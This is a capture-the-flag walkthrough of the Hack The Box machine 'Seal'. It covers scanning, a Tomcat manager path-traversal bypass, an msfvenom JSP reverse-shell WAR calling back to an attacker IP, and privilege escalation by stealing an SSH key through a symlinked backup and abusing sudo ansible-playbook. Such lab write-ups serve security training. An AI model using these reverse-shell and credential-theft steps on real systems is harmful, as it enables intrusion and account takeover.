# SEAL

## Scanning

**NMAP**

```
➜  ~ sudo nmap -F seal.htb           
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-19 08:24 EDT
Nmap scan report for seal.htb (10.10.10.250)
Host is up (0.16s latency).
Not shown: 97 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
443/tcp  open  https
8080/tcp open  http-proxy
​
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
```

fast scan **1.16 seconds** at first ... take a look on these till deep scan finished

```
➜  ~ sudo nmap -T4 -p- -A seal.htb       
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-19 08:13 EDT
Nmap scan report for seal.htb (10.10.10.250)
Host is up (0.22s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Thu, 19 Aug 2021 12:23:54 GMT
|     Set-Cookie: JSESSIONID=node01frvnjr75rhdfsbmdepqve4n287.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Thu, 19 Aug 2021 12:23:52 GMT
|     Set-Cookie: JSESSIONID=node05b59i0stcc6s1ffnbtlbvqhoe85.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Thu, 19 Aug 2021 12:23:53 GMT
|     Set-Cookie: JSESSIONID=node01ru35o66qwp7pncfzoorb2jyt86.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
​
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
​
TRACEROUTE (using port 1720/tcp)
HOP RTT       ADDRESS
1   128.44 ms 10.10.16.1
2   228.82 ms seal.htb (10.10.10.250)
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 709.02 seconds
```

## Enumeration

port **8080**

register and signin

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjcufyXpyASu46Hk2i%2Fimage.png?alt=media\&token=93643e14-be7e-4fe3-85c4-0009724a0c82)

at first look we find some username `root, luis, alex`

scrolling news feed find this

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjczwXUg-doZhj1cjO%2Fimage.png?alt=media\&token=490d8e93-f46e-4659-b64d-a474f81f6ebc)

open it ...

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-Mjjd0TZ5C6PAPbYOsef%2Fimage.png?alt=media\&token=40443d80-90ae-4472-bd07-2c5d7e810f03)

```
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
```

credentials `tomcat:42MrHBf*z8{Z%`

try to login with it ... ERROR

try others users ... logged with `luis` using same password `luis:42MrHBf*z8{Z%`

no thing interesting here for now

port **443**

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-Mjjd3lyrGxzKGUYQpkE%2Fimage.png?alt=media\&token=84dc47a6-e748-45cb-a4e9-931deeec5cf0)

**Directory busting**

from error page and gitbucket we know server run tomcat

```
➜  ~ gobuster dir -u https://seal.htb/ -w ~/SecLists/Discovery/Web-Content/tomcat.txt -k 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://seal.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/x/SecLists/Discovery/Web-Content/tomcat.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/08/19 09:44:14 Starting gobuster in directory enumeration mode
===============================================================
/examples/%2e%2e/manager/html (Status: 403) [Size: 162]
/examples/../manager/html (Status: 403) [Size: 162]    
/host-manager         (Status: 302) [Size: 0] [--> http://seal.htb/host-manager/]
/host-manager/html/*  (Status: 403) [Size: 162]                                  
/manager              (Status: 302) [Size: 0] [--> http://seal.htb/manager/]     
/manager/html         (Status: 403) [Size: 162]                                  
/manager/html/*       (Status: 403) [Size: 162]                                  
/manager/jmxproxy     (Status: 401) [Size: 2499]                                 
/manager/jmxproxy/*   (Status: 401) [Size: 2499]                                 
/manager/status/*     (Status: 401) [Size: 2499]                                 
/manager/status.xsd   (Status: 200) [Size: 4374]                                 
                                                                                 
===============================================================
2021/08/19 09:44:18 Finished
===============================================================
```

&#x20;`/manager/status.xsd (Status: 200) [Size: 4374]`

open it try credentials `tomcat:42MrHBf*z8{Z%`

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-Mjjd7F93dFH__7JuSoB%2Fimage.png?alt=media\&token=08fef94d-ca73-4058-867d-d54a8ce5b9b1)

we IN 👏

## Exploit

Trying Path Traversal

you need to know this first

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdAGBzyGTPerxiWNz%2Fimage.png?alt=media\&token=0c502363-add7-42d1-a5b6-e4f12ee06c10)

`https://seal.htb/manager/status/..;/html`

open application manager

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdDsDETB9V3u1_z1I%2Fimage.png?alt=media\&token=f4412dd0-9e15-49b4-84a6-863cc793bb79)

we can upload files here

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdGecVdTVP8hy3iQK%2Fimage.png?alt=media\&token=b09e7f50-63d8-4d24-bf85-51b01db2a866)

lets generate reverse shell using msf read [this](https://vk9-sec.com/apache-tomcat-manager-war-reverse-shell/)

`msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.30 LPORT=9999 -f war -o rshell.war`

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdImD7dt8tlDpyJBQ%2Fimage.png?alt=media\&token=93e5bacf-75b7-4caa-96ed-cd876727e9c4)

set msf listener

```
➜ sudo msfdb run
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options 
​
Module options (exploit/multi/handler):
​
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
​
​
Payload options (generic/shell_reverse_tcp):
​
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
​
​
Exploit target:
​
   Id  Name
   --  ----
   0   Wildcard Target
​
​
msf6 exploit(multi/handler) > set lhost 10.10.16.30
lhost => 10.10.16.30
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
msf6 exploit(multi/handler) > run
​
[*] Started reverse TCP handler on 10.10.16.30:9999 
​
```

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdMQqanuFLuPyL52F%2Fimage.png?alt=media\&token=9bc4f9f7-8c47-4fa6-bd40-38cae1159a9c)

we lose our path lets use burp to edit this

read [this](https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html#Using_the_JMX_Proxy_Servlet) page to understand what is going under the hood

edit post request to `/manager/jmxproxy/..;/html/upload`

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdP_eGLc2qQ_grWtE%2Fimage.png?alt=media\&token=91b474de-8738-47bc-8c52-aae0b5e0e8cd)

uploaded successfully

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdSl88BIw4C7doIYd%2Fimage.png?alt=media\&token=72978531-d9dd-4d65-b0cf-02847260ed58)

trigger it **...**

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdWlkvczBFEKuWnsp%2Fimage.png?alt=media\&token=a3026f4e-ce42-4894-a2c3-43464fcee36c)

we have reverse shell

* [x] &#x20;SERVICE SHELL ACCESS

## Privilege Escalation

what's running here `ps -aux`

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjdptW89y2wsrL4xkD%2Fimage.png?alt=media\&token=84531509-f634-4940-ab15-fc3ecf6c0b30)

```
/bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
```

```
cat /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/
```

**Backup Script**

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjduZ4NHgOnTrv0Y_o%2Fimage.png?alt=media\&token=f935e6c9-094d-4fe5-9bc9-eb6f4845925e)

let's link `luis/.ssh` to be backup

`ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads`

find archive name

`ls /opt/backups/archives/`

copy it

`cp /opt/backups/archives/backup-2021-07-13-03:00:32.gz rsa.gz`

unzip ...

`gzip -kd rsa.gz tar -xf rsa`

follow path to private key

`cd dashboard`&#x20;

`cd upload`

&#x20;`cd .ssh`&#x20;

`cat id_rsa`

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-Mjje2AkFDuqVFz2NrLc%2Fimage.png?alt=media\&token=fd3c6ff8-df25-487e-80e4-d1f7bba67f28)

copy it to your local machine

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-Mjje4zbf5r4e-wQs3ib%2Fimage.png?alt=media\&token=b4d13df1-dc4d-45d8-98c8-b486c49886d5)

* [x] &#x20;USER FLAG

### Root User

check sudo rights

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjeMXHxUw7pTu0H7LY%2Fimage.png?alt=media\&token=715938c1-f953-4dcf-aa3e-353d4ad6f6e4)

read these first ...

[https://www.redhat.com/en/topics/automation/what-is-an-ansible-playbook](https://www.redhat.com/en/topics/automation/what-is-an-ansible-playbook)

[https://www.middlewareinventory.com/blog/ansible-command-examples/](https://www.middlewareinventory.com/blog/ansible-command-examples/)

create file with any name "root.yml"

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjeCdp8HTG5082BGha%2Fimage.png?alt=media\&token=0c9610f1-9183-4b55-ab0e-7144dec329b3)

run

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjeFKAbwsLyLVyJf7t%2Fimage.png?alt=media\&token=cbf0d82e-8508-4795-9940-7d605778ebb4)

![](https://2593446664-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MjI3O1E4kELEZI73S1H%2F-MjjcS93sOTCpAdfPJh5%2F-MjjeJKLxSNkJ7z0Z9Ag%2Fimage.png?alt=media\&token=697f03df-eac8-4b47-95f0-6b42236c5b08)

> -p Turned on whenever the real and effective user ids do not match. Disables processing of the $ENV file and importing of shell functions. Turning this option off causes the effective uid and gid to be set to the real uid and gid.

* [x] &#x20;ROOT FLAG
